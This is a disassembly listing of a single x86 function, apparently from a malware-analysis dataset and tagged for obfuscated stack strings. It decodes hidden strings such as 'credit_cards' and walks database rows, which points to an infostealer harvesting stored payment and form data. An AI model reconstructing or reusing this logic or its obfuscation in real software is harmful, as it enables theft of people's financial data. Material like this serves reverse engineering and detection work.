Function at 0x429c3a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x453ce5
call fcn.004534f4
sub esp, 0x6bc
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov edi, ecx
xor ebx, ebx
mov dword [ebp - 0xf4], ebx
and dword [ebp - 4], ebx
lea esi, [edi + 0x1e4]
push esi
call fcn.0041c1db
test al, al
je 0x429c75
push esi
mov ecx, edi
call fcn.0041eb24
push 0x48
call fcn.0044485d
pop ecx
push esi
lea ecx, [ebp - 0x11]
push ecx
push dword [ebp + 8]
mov ecx, eax
call fcn.00410a08
mov esi, eax
mov dword [ebp - 0xd8], esi
push 0x406fc4
lea ecx, [ebp - 0xf0]
call fcn.0040bc98
push 1
push dword [ebp + 8]
lea eax, [ebp - 0x290]
push eax
mov ecx, edi
call fcn.0042731d
cmp byte [ebp - 0x11], 0
je 0x429d60
mov al, 0x4f
mov dword [ebp - 0x99], 0x7481724f
mov dword [ebp - 0x95], 0x6e837873
mov dword [ebp - 0x91], 0x73817072
mov word [ebp - 0x8d], 0x82
xor edx, edx
mov dword [ebp - 0x12c], edx
push 0xc
pop ecx
cmp edx, ecx
jae 0x429d28
movsx ecx, al
and ecx, 0x8000000f
jns 0x429d09
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x98]
sub al, cl
mov byte [ebp + edx - 0x98], al
inc edx
mov dword [ebp - 0x12c], edx
mov al, byte [ebp - 0x99]
jmp 0x429cf2
mov byte [ebp - 0x8c], 0
lea eax, [ebp - 0x98]
push eax
lea ecx, [ebp - 0x278]
call fcn.0040bc98
or ebx, 1
mov dword [ebp - 0xf4], ebx
lea eax, [ebp - 0x278]
push eax
mov ecx, esi
call fcn.00410a92
test al, al
mov byte [ebp - 0x11], 1
jne 0x429d64
mov byte [ebp - 0x11], 0
test bl, 1
je 0x429d7d
and ebx, 0xfffffffe
mov dword [ebp - 0xf4], ebx
lea ecx, [ebp - 0x278]
call fcn.0040bc59
cmp byte [ebp - 0x11], 0
je 0x42a342
mov eax, dword [edi + 0x3d8]
mov dword [ebp - 0x18], eax
mov eax, dword [esi + 0x3c]
sub eax, dword [esi + 0x38]
cdq
push 0xc
pop ecx
idiv ecx
mov dword [ebp - 0x1c], eax
xor ebx, ebx
mov dword [ebp - 0x148], ebx
cmp ebx, eax
jge 0x42a24f
push 4
push ebx
lea eax, [ebp - 0x188]
push eax
mov ecx, esi
call fcn.00410cdb
push eax
lea eax, [ebp - 0x1a0]
push eax
mov ecx, edi
call fcn.0041f3d2
lea ecx, [ebp - 0x188]
call fcn.0040bc59
mov edx, 0x406fc4
lea ecx, [ebp - 0x1a0]
call fcn.00412c2f
test al, al
jne 0x42a235
push 1
push ebx
lea eax, [ebp - 0x2d8]
push eax
mov ecx, esi
call fcn.00410cdb
mov dword [ebp - 0x4c], eax
mov dl, 0x42
mov dword [ebp - 0x3e], 0x2f230c42
mov dword [ebp - 0x3a], 0x627827
xor ecx, ecx
mov dword [ebp - 0x130], ecx
cmp ecx, 6
jae 0x429e39
mov al, byte [ebp + ecx - 0x3d]
xor al, dl
mov byte [ebp + ecx - 0x3d], al
inc ecx
mov dword [ebp - 0x130], ecx
mov dl, byte [ebp - 0x3e]
jmp 0x429e1e
mov byte [ebp - 0x37], 0
push 0x40700c
push dword [ebp - 0x4c]
lea edx, [ebp - 0x3d]
lea ecx, [ebp - 0x650]
call fcn.00417b28
mov edx, eax
lea ecx, [ebp - 0x488]
call fcn.00417bac
push eax
lea ecx, [ebp - 0xf0]
call fcn.00412646
lea ecx, [ebp - 0x488]
call fcn.0040bc59
lea ecx, [ebp - 0x650]
call fcn.0040bc59
lea ecx, [ebp - 0x2d8]
call fcn.0040bc59
push 3
push ebx
lea eax, [ebp - 0x350]
push eax
mov ecx, esi
call fcn.00410cdb
mov dword [ebp - 0x20], eax
push 2
push ebx
lea eax, [ebp - 0x338]
push eax
mov ecx, esi
call fcn.00410cdb
mov dword [ebp - 0x4c], eax
mov dl, 0x4d
mov dword [ebp - 0xa7], 0x2322004d
mov dword [ebp - 0xa3], 0x14112539
mov dword [ebp - 0x9f], 0x773f2c28
mov word [ebp - 0x9b], 0x6d
xor ecx, ecx
mov dword [ebp - 0x124], ecx
cmp ecx, 0xc
jae 0x429f0a
mov al, byte [ebp + ecx - 0xa6]
xor al, dl
mov byte [ebp + ecx - 0xa6], al
inc ecx
mov dword [ebp - 0x124], ecx
mov dl, byte [ebp - 0xa7]
jmp 0x429ee6
mov byte [ebp - 0x9a], 0
push 0x5c
push dword [ebp - 0x4c]
lea edx, [ebp - 0xa6]
lea ecx, [ebp - 0x320]
call fcn.00417b28
mov edx, eax
lea ecx, [ebp - 0x308]
call fcn.00417ca3
push dword [ebp - 0x20]
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x2a8]
call fcn.0041c09c
push 0x40700c
lea edx, [ebp - 0x2a8]
lea ecx, [ebp - 0x2f0]
call fcn.00417bac
push eax
lea ecx, [ebp - 0xf0]
call fcn.00412646
lea ecx, [ebp - 0x2f0]
call fcn.0040bc59
lea ecx, [ebp - 0x2a8]
call fcn.0040bc59
lea ecx, [ebp - 0x308]
call fcn.0040bc59
lea ecx, [ebp - 0x320]
call fcn.0040bc59
lea ecx, [ebp - 0x338]
call fcn.0040bc59
lea ecx, [ebp - 0x350]
call fcn.0040bc59
mov dl, 0x74
mov dword [ebp - 0xc4], 0x6153774
mov dword [ebp - 0xc0], 0x11a5410
mov dword [ebp - 0xbc], 0x6111619
mov word [ebp - 0xb8], 0x544e
mov byte [ebp - 0xb6], 0
xor ecx, ecx
mov dword [ebp - 0x134], ecx
cmp ecx, 0xd
jae 0x42a006
mov al, byte [ebp + ecx - 0xc3]
xor al, dl
mov byte [ebp + ecx - 0xc3], al
inc ecx
mov dword [ebp - 0x134], ecx
mov dl, byte [ebp - 0xc4]
jmp 0x429fe2
mov byte [ebp - 0xb6], 0
push 0x40700c
lea eax, [ebp - 0x1a0]
push eax
lea edx, [ebp - 0xc3]
lea ecx, [ebp - 0x380]
call fcn.0041c04d
mov edx, eax
lea ecx, [ebp - 0x368]
call fcn.00417bac
push eax
lea ecx, [ebp - 0xf0]
call fcn.00412646
lea ecx, [ebp - 0x368]
call fcn.0040bc59
lea ecx, [ebp - 0x380]
call fcn.0040bc59
push 9
push ebx
lea eax, [ebp - 0x3c8]
push eax
mov ecx, esi
call fcn.00410cdb
mov dword [ebp - 0x20], eax
mov dl, 0xc
mov dword [ebp - 0x27], 0x5a5a4f0c
mov word [ebp - 0x23], 0x2c36
mov byte [ebp - 0x21], 0
xor ecx, ecx
mov dword [ebp - 0x138], ecx
cmp ecx, 5
jae 0x42a0a3
mov al, byte [ebp + ecx - 0x26]
xor al, dl
mov byte [ebp + ecx - 0x26], al
inc ecx
mov dword [ebp - 0x138], ecx
mov dl, byte [ebp - 0x27]
jmp 0x42a088
mov byte [ebp - 0x21], 0
push 0x40700c
push dword [ebp - 0x20]
lea edx, [ebp - 0x26]
lea ecx, [ebp - 0x3b0]
call fcn.00417b28
mov edx, eax
lea ecx, [ebp - 0x398]
call fcn.00417bac
push eax
lea ecx, [ebp - 0xf0]
call fcn.00412646
lea ecx, [ebp - 0x398]
call fcn.0040bc59
lea ecx, [ebp - 0x3b0]
call fcn.0040bc59
lea ecx, [ebp - 0x3c8]
call fcn.0040bc59
push 6
push ebx
lea eax, [ebp - 0x410]
push eax
mov ecx, esi
call fcn.00410cdb
mov dword [ebp - 0x20], eax
mov dl, 0xd
mov dword [ebp - 0x2e], 0x617f580d
mov word [ebp - 0x2a], 0x2d37
mov byte [ebp - 0x28], 0
xor ecx, ecx
mov dword [ebp - 0x140], ecx
cmp ecx, 5
jae 0x42a141
mov al, byte [ebp + ecx - 0x2d]
xor al, dl
mov byte [ebp + ecx - 0x2d], al
inc ecx
mov dword [ebp - 0x140], ecx
mov dl, byte [ebp - 0x2e]
jmp 0x42a126
mov byte [ebp - 0x28], 0
push 0x40700c
push dword [ebp - 0x20]
lea edx, [ebp - 0x2d]
lea ecx, [ebp - 0x3f8]
call fcn.00417b28
mov edx, eax
lea ecx, [ebp - 0x3e0]
call fcn.00417bac
push eax
lea ecx, [ebp - 0xf0]
call fcn.00412646
lea ecx, [ebp - 0x3e0]
call fcn.0040bc59
lea ecx, [ebp - 0x3f8]
call fcn.0040bc59
lea ecx, [ebp - 0x410]
call fcn.0040bc59
mov al, 0x2d
mov dword [ebp - 0x57], 0x7c7f4f2d
mov dword [ebp - 0x53], 0x7f728084
mov word [ebp - 0x4f], 0x2d47
mov byte [ebp - 0x4d], 0
xor edx, edx
mov dword [ebp - 0x144], edx
cmp edx, 9
jae 0x42a1e2
movsx ecx, al
and ecx, 0x8000000f
jns 0x42a1cc
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x56]
sub al, cl
mov byte [ebp + edx - 0x56], al
inc edx
mov dword [ebp - 0x144], edx
mov al, byte [ebp - 0x57]
jmp 0x42a1b7
mov byte [ebp - 0x4d], 0
push 0x407010
lea eax, [ebp - 0x290]
push eax
lea edx, [ebp - 0x56]
lea ecx, [ebp - 0x440]
call fcn.0041c04d
mov edx, eax
lea ecx, [ebp - 0x428]
call fcn.00417bac
push eax
lea ecx, [ebp - 0xf0]
call fcn.00412646
lea ecx, [ebp - 0x428]
call fcn.0040bc59
lea ecx, [ebp - 0x440]
call fcn.0040bc59
inc dword [edi + 0x3d8]
lea ecx, [ebp - 0x1a0]
call fcn.0040bc59
inc ebx
mov dword [ebp - 0x148], ebx
mov eax, dword [ebp - 0x1c]
jmp 0x429da7
cmp dword [ebp - 0xe0], 0
je 0x42a26a
lea eax, [ebp - 0xf0]
push eax
lea ecx, [edi + 0xb8]
call fcn.00412646
mov edx, dword [edi + 0x3d8]
sub edx, dword [ebp - 0x18]
lea ecx, [ebp - 0x1d0]
call fcn.0041828f
mov ebx, eax
mov cl, 7
mov dword [ebp - 0x64], 0x27412707
mov dword [ebp - 0x60], 0x757c764a
mov dword [ebp - 0x5c], 0x2744277b
mov byte [ebp - 0x58], 0
xor edx, edx
mov dword [ebp - 0x14c], edx
cmp edx, 0xb
jae 0x42a2ce
movsx ecx, cl
and ecx, 0x8000000f
jns 0x42a2b8
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x63]
sub al, cl
mov byte [ebp + edx - 0x63], al
inc edx
mov dword [ebp - 0x14c], edx
mov cl, byte [ebp - 0x64]
jmp 0x42a2a3
mov byte [ebp - 0x58], 0
lea eax, [ebp - 0x63]
push eax
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x470]
call fcn.00417b5f
push ebx
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x2c0]
call fcn.0041c09c
push 0x40700c
lea edx, [ebp - 0x2c0]
lea ecx, [ebp - 0x458]
call fcn.00417bac
push eax
lea ecx, [edi + 0x130]
call fcn.00412646
lea ecx, [ebp - 0x458]
call fcn.0040bc59
lea ecx, [ebp - 0x2c0]
call fcn.0040bc59
lea ecx, [ebp - 0x470]
call fcn.0040bc59
lea ecx, [ebp - 0x1d0]
call fcn.0040bc59
movaps xmm0, xmmword [0x408070]
movups xmmword [ebp - 0x120], xmm0
mov dword [ebp - 0x110], 0x80717f6e
mov byte [ebp - 0x10c], 0
xor edx, edx
mov dword [ebp - 0x150], edx
cmp edx, 0x13
jae 0x42a395
movsx ecx, byte [ebp - 0x120]
and ecx, 0x8000000f
jns 0x42a382
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x11f]
sub al, cl
mov byte [ebp + edx - 0x11f], al
inc edx
jmp 0x42a363
mov byte [ebp - 0x10c], 0
lea eax, [ebp - 0x11f]
push eax
lea ecx, [ebp - 0x200]
call fcn.0040bc98
lea eax, [ebp - 0x200]
push eax
mov ecx, esi
call fcn.00410a92
mov bl, al
lea ecx, [ebp - 0x200]
call fcn.0040bc59
test bl, bl
je 0x42a8b3
push 0
push 0x406fc4
lea ecx, [ebp - 0xf0]
call fcn.0040bd17
mov eax, dword [edi + 0x3d8]
mov dword [ebp - 0x4c], eax
mov eax, dword [esi + 0x3c]
sub eax, dword [esi + 0x38]
cdq
push 0xc
pop ecx
idiv ecx
mov dword [ebp - 0x20], eax
xor ebx, ebx
mov dword [ebp - 0x160], ebx
cmp ebx, eax
jge 0x42a7c0
push 4
push ebx
lea eax, [ebp - 0x1d0]
push eax
mov ecx, esi
call fcn.00410cdb
mov esi, dword [eax + 0x10]
lea ecx, [ebp - 0x1d0]
call fcn.0040bc59
test esi, esi
mov esi, dword [ebp - 0xd8]
je 0x42a7b1
push 2
push ebx
lea eax, [ebp - 0x4d0]
push eax
mov ecx, esi
call fcn.00410cdb
mov dword [ebp - 0x18], eax
mov cl, 0xf
mov dword [ebp - 0x46], 0x7c705d0f
mov dword [ebp - 0x42], 0x2f4974
xor edx, edx
mov dword [ebp - 0x154], edx
cmp edx, 6
jae 0x42a48f
movsx ecx, cl
and ecx, 0x8000000f
jns 0x42a479
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x45]
sub al, cl
mov byte [ebp + edx - 0x45], al
inc edx
mov dword [ebp - 0x154], edx
mov cl, byte [ebp - 0x46]
jmp 0x42a464
mov byte [ebp - 0x3f], 0
push 0x40700c
push dword [ebp - 0x18]
lea edx, [ebp - 0x45]
lea ecx, [ebp - 0x4b8]
call fcn.00417b28
mov edx, eax
lea ecx, [ebp - 0x4a0]
call fcn.00417bac
push eax
lea ecx, [ebp - 0xf0]
call fcn.00412646
lea ecx, [ebp - 0x4a0]
call fcn.0040bc59
lea ecx, [ebp - 0x4b8]
call fcn.0040bc59
lea ecx, [ebp - 0x4d0]
call fcn.0040bc59
push 4
push ebx
lea eax, [ebp - 0x518]
push eax
mov ecx, esi
call fcn.00410cdb
mov dword [ebp - 0x18], eax
mov dl, 0x7d
mov dword [ebp - 0x71], 0xe1c317d
mov dword [ebp - 0x6d], 0x121b5d09
mov dword [ebp - 0x69], 0x5d470f08
mov byte [ebp - 0x65], 0
xor ecx, ecx
mov dword [ebp - 0x158], ecx
cmp ecx, 0xb
jae 0x42a535
mov al, byte [ebp + ecx - 0x70]
xor al, dl
mov byte [ebp + ecx - 0x70], al
inc ecx
mov dword [ebp - 0x158], ecx
mov dl, byte [ebp - 0x71]
jmp 0x42a51a
mov byte [ebp - 0x65], 0
push 0x40700c
push dword [ebp - 0x18]
lea edx, [ebp - 0x70]
lea ecx, [ebp - 0x500]
call fcn.00417b28
mov edx, eax
lea ecx, [ebp - 0x4e8]
call fcn.00417bac
push eax
lea ecx, [ebp - 0xf0]
call fcn.00412646
lea ecx, [ebp - 0x4e8]
call fcn.0040bc59
lea ecx, [ebp - 0x500]
call fcn.0040bc59
lea ecx, [ebp - 0x518]
call fcn.0040bc59
push 6
push ebx
lea eax, [ebp - 0x590]
push eax
mov ecx, esi
call fcn.00410cdb
mov dword [ebp - 0x1c], eax
push 5
push ebx
lea eax, [ebp - 0x578]
push eax
mov ecx, esi
call fcn.00410cdb
mov dword [ebp - 0x18], eax
mov cl, 0x33
mov dword [ebp - 0xb5], 0x71725033
mov dword [ebp - 0xb1], 0x5c5f6b77
mov dword [ebp - 0xad], 0x3d756468
mov word [ebp - 0xa9], 0x23
xor edx, edx
mov dword [ebp - 0x16c], edx
cmp edx, 0xc
jae 0x42a616
movsx ecx, cl
and ecx, 0x8000000f
jns 0x42a5f7
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0xb4]
sub al, cl
mov byte [ebp + edx - 0xb4], al
inc edx
mov dword [ebp - 0x16c], edx
mov cl, byte [ebp - 0xb5]
jmp 0x42a5e2
mov byte [ebp - 0xa8], 0
push 0x5c
push dword [ebp - 0x18]
lea edx, [ebp - 0xb4]
lea ecx, [ebp - 0x560]
call fcn.00417b28
mov edx, eax
lea ecx, [ebp - 0x548]
call fcn.00417ca3
push dword [ebp - 0x1c]
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x218]
call fcn.0041c09c
push 0x40700c
lea edx, [ebp - 0x218]
lea ecx, [ebp - 0x530]
call fcn.00417bac
push eax
lea ecx, [ebp - 0xf0]
call fcn.00412646
lea ecx, [ebp - 0x530]
call fcn.0040bc59
lea ecx, [ebp - 0x218]
call fcn.0040bc59
lea ecx, [ebp - 0x548]
call fcn.0040bc59
lea ecx, [ebp - 0x560]
call fcn.0040bc59
lea ecx, [ebp - 0x578]
call fcn.0040bc59
lea ecx, [ebp - 0x590]
call fcn.0040bc59
push 3
push ebx
lea eax, [ebp - 0x608]
push eax
mov ecx, esi
call fcn.00410cdb
mov dword [ebp - 0x1c], eax
push 7
push ebx
lea eax, [ebp - 0x5f0]
push eax
mov ecx, esi
call fcn.00410cdb
mov dword [ebp - 0x18], eax
mov dl, 4
mov dword [ebp - 0x36], 0x6a654604
mov dword [ebp - 0x32], 0x243e6f
xor ecx, ecx
mov dword [ebp - 0x15c], ecx
cmp ecx, 6
jae 0x42a711
mov al, byte [ebp + ecx - 0x35]
xor al, dl
mov byte [ebp + ecx - 0x35], al
inc ecx
mov dword [ebp - 0x15c], ecx
mov dl, byte [ebp - 0x36]
jmp 0x42a6f6
mov byte [ebp - 0x2f], 0
push 0x20
push dword [ebp - 0x18]
lea edx, [ebp - 0x35]
lea ecx, [ebp - 0x5d8]
call fcn.00417b28
mov edx, eax
lea ecx, [ebp - 0x5c0]
call fcn.00417ca3
push dword [ebp - 0x1c]
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x230]
call fcn.0041c09c
push 0x407010
lea edx, [ebp - 0x230]
lea ecx, [ebp - 0x5a8]
call fcn.00417bac
push eax
lea ecx, [ebp - 0xf0]
call fcn.00412646
lea ecx, [ebp - 0x5a8]
call fcn.0040bc59
lea ecx, [ebp - 0x230]
call fcn.0040bc59
lea ecx, [ebp - 0x5c0]
call fcn.0040bc59
lea ecx, [ebp - 0x5d8]
call fcn.0040bc59
lea ecx, [ebp - 0x5f0]
call fcn.0040bc59
lea ecx, [ebp - 0x608]
call fcn.0040bc59
inc dword [edi + 0x3d8]
inc ebx
mov dword [ebp - 0x160], ebx
mov eax, dword [ebp - 0x20]
jmp 0x42a403
cmp dword [ebp - 0xe0], 0
je 0x42a7db
lea eax, [ebp - 0xf0]
push eax
lea ecx, [edi + 0xb8]
call fcn.00412646
mov edx, dword [edi + 0x3d8]
sub edx, dword [ebp - 0x4c]
lea ecx, [ebp - 0x1e8]
call fcn.0041828f
mov ebx, eax
mov cl, 0x51
mov dword [ebp - 0x7e], 0x213b2151
mov dword [ebp - 0x7a], 0x6f767044
mov dword [ebp - 0x76], 0x213e2175
mov byte [ebp - 0x72], 0
xor edx, edx
mov dword [ebp - 0x164], edx
cmp edx, 0xb
jae 0x42a83f
movsx ecx, cl
and ecx, 0x8000000f
jns 0x42a829
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x7d]
sub al, cl
mov byte [ebp + edx - 0x7d], al
inc edx
mov dword [ebp - 0x164], edx
mov cl, byte [ebp - 0x7e]
jmp 0x42a814
mov byte [ebp - 0x72], 0
lea eax, [ebp - 0x7d]
push eax
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x638]
call fcn.00417b5f
push ebx
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x248]
call fcn.0041c09c
push 0x40700c
lea edx, [ebp - 0x248]
lea ecx, [ebp - 0x620]
call fcn.00417bac
push eax
lea ecx, [edi + 0x130]
call fcn.00412646
lea ecx, [ebp - 0x620]
call fcn.0040bc59
lea ecx, [ebp - 0x248]
call fcn.0040bc59
lea ecx, [ebp - 0x638]
call fcn.0040bc59
lea ecx, [ebp - 0x1e8]
call fcn.0040bc59
movaps xmm0, xmmword [0x4079d0]
movups xmmword [ebp - 0x10b], xmm0
mov dword [ebp - 0xfb], 0x45565468
mov word [ebp - 0xf7], 0x4453
mov byte [ebp - 0xf5], 0
xor ecx, ecx
mov dword [ebp - 0x168], ecx
cmp ecx, 0x15
jae 0x42a8ff
mov al, byte [ebp + ecx - 0x10a]
xor al, byte [ebp - 0x10b]
mov byte [ebp + ecx - 0x10a], al
inc ecx
jmp 0x42a8dd
mov byte [ebp - 0xf5], 0
lea eax, [ebp - 0x10a]
push eax
lea ecx, [ebp - 0x260]
call fcn.0040bc98
lea eax, [ebp - 0x260]
push eax
mov ecx, esi
call fcn.00410a92
mov bl, al
lea ecx, [ebp - 0x260]
call fcn.0040bc59
test bl, bl
je 0x42ab93
push 0
push 0x406fc4
lea ecx, [ebp - 0xf0]
call fcn.0040bd17
mov eax, dword [edi + 0x3d8]
mov dword [ebp - 0x1c], eax
mov eax, dword [esi + 0x3c]
sub eax, dword [esi + 0x38]
cdq
push 0xc
pop ecx
idiv ecx
mov dword [ebp - 0x18], eax
xor esi, esi
mov dword [ebp - 0x13c], esi
mov ebx, dword [ebp - 0xd8]
cmp esi, eax
jge 0x42aa92
push 1
push esi
lea eax, [ebp - 0x1e8]
push eax
mov ecx, ebx
call fcn.00410cdb
push eax
lea eax, [ebp - 0x1b8]
push eax
mov ecx, edi
call fcn.0041f3d2
lea ecx, [ebp - 0x1e8]
call fcn.0040bc59
cmp dword [ebp - 0x1a8], 0
je 0x42aa78
mov al, 0x2d
mov dword [ebp - 0xd3], 0x7f6e502d
mov dword [ebp - 0xcf], 0x827b2d71
mov dword [ebp - 0xcb], 0x7f726f7a
mov word [ebp - 0xc7], 0x2d47
mov byte [ebp - 0xc5], 0
xor edx, edx
mov dword [ebp - 0x170], edx
cmp edx, 0xd
jae 0x42aa1f
movsx ecx, al
and ecx, 0x8000000f
jns 0x42aa00
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0xd2]
sub al, cl
mov byte [ebp + edx - 0xd2], al
inc edx
mov dword [ebp - 0x170], edx
mov al, byte [ebp - 0xd3]
jmp 0x42a9eb
mov byte [ebp - 0xc5], 0
push 0x407010
lea eax, [ebp - 0x1b8]
push eax
lea edx, [ebp - 0xd2]
lea ecx, [ebp - 0x680]
call fcn.0041c04d
mov edx, eax
lea ecx, [ebp - 0x668]
call fcn.00417bac
push eax
lea ecx, [ebp - 0xf0]
call fcn.00412646
lea ecx, [ebp - 0x668]
call fcn.0040bc59
lea ecx, [ebp - 0x680]
call fcn.0040bc59
inc dword [edi + 0x3d8]
lea ecx, [ebp - 0x1b8]
call fcn.0040bc59
inc esi
mov dword [ebp - 0x13c], esi
mov eax, dword [ebp - 0x18]
jmp 0x42a973
cmp dword [ebp - 0xe0], 0
je 0x42aaad
lea eax, [ebp - 0xf0]
push eax
lea ecx, [edi + 0xb8]
call fcn.00412646
mov edx, dword [edi + 0x3d8]
sub edx, dword [ebp - 0x1c]
lea ecx, [ebp - 0x6c8]
call fcn.0041828f
mov esi, eax
push 0x3b
pop edx
mov byte [ebp - 0x8b], dl
mov dword [ebp - 0x8a], 0x781b011b
mov dword [ebp - 0x86], 0x4f554e54
mov dword [ebp - 0x82], 0x1b061b
xor ecx, ecx
mov dword [ebp - 0x128], ecx
cmp ecx, 0xb
jae 0x42ab16
mov al, byte [ebp + ecx - 0x8a]
xor al, dl
mov byte [ebp + ecx - 0x8a], al
inc ecx
mov dword [ebp - 0x128], ecx
mov dl, byte [ebp - 0x8b]
jmp 0x42aaf2
mov byte [ebp - 0x7f], 0
lea eax, [ebp - 0x8a]
push eax
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x6b0]
call fcn.00417b5f
push esi
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x188]
call fcn.0041c09c
push 0x40700c
lea edx, [ebp - 0x188]
lea ecx, [ebp - 0x698]
call fcn.00417bac
push eax
lea ecx, [edi + 0x130]
call fcn.00412646
lea ecx, [ebp - 0x698]
call fcn.0040bc59
lea ecx, [ebp - 0x188]
call fcn.0040bc59
lea ecx, [ebp - 0x6b0]
call fcn.0040bc59
lea ecx, [ebp - 0x6c8]
call fcn.0040bc59
mov esi, dword [ebp - 0xd8]
test esi, esi
je 0x42ab9f
push ecx
mov ecx, esi
call fcn.004241ce
lea ecx, [ebp - 0x290]
call fcn.0040bc59
lea ecx, [ebp - 0xf0]
call fcn.0040bc59
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 4